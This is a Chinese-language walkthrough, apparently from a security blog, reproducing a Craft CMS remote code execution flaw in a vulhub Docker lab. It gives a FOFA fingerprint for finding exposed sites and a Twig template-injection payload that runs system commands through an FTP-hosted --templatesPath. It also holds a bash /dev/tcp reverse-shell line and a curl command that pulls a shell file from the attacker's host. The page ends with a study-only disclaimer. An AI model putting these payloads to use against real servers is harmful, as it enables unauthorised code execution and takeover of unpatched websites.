Craft CMS 介绍:
Craft CMS 是一个强大的内容管理系统(CMS),提供了灵活的内容建模、用户管理和插件扩展功能。 它以其直观的用户界面和开发者友好的特性而闻名,非常适合构建复杂和定制化的网站。
漏洞概述:
CraftCMS 5.5.2 和 4.13.2 之前的版本存在潜在的远程代码执行漏洞。当 PHP 环境启用 register_argc_argv 时,CraftCMS 会错误地从 HTTP 请求中读取配置项,攻击者可以使用 --templatesPath 控制模板文件,并利用模板注入导致任意代码执行。
影响版本:
Craft CMS <3.9.14 Craft CMS <4.13.2 Craft CMS <5.5.2
FOFA:
icon_hash=-47932290
搭建环境:
使用docker 进行搭建,docker-compose.yml如下:
services: web: image: vulhub/craftcms:5.5.1.1 depends_on: - db ports: - "8088:80" db: image: mysql:8.4 environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_DATABASE=craftcms
执行如下命令启动docker 容器
docker-compose up -d
docker 启动完成之后,访问如下路径进行安装
http://192.168.41.163:8088/admin/install
默认数据库地址为 db,用户名和密码均为 root
然后创建一个账户和密码
完成安装,安装完成如下:
复现漏洞:
准备一个index.twig文件,内容如下:
{{ ['system', 'id'] | sort('call_user_func') | join('') }}
在该文件所在的机器上开启一个ftp 服务,这里就使用kali 来测试了。
pip install pyftpdlib python -m pyftpdlib -p 21212 -V
访问目标地址
通过发送以下请求来利用该漏洞:
http://<your-ip>:8088/?--templatesPath=ftp://<evil-ip>:21212/
这里是
http://192.168.41.163:8088/?--templatesPath=ftp://192.168.41.163:21212/
发送数据包即可执行命令id,修改执行的命令为ls
再次发送数据包即可执行命令ls
同样执行命令进行反弹shell,首先开启一个监听
准备一个shell.html 文件,内容如下:
bash -i >& /dev/tcp/192.168.41.163/4444 0>&1
然后在kali 上开启一个web 服务
python -m http.server 80
然后修改index.twig文件,内容如下:
{{ ['system', 'curl http://192.168.41.163/shell.html -o /tmp/shell.html'] | sort('call_user_func') | join('') }}
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)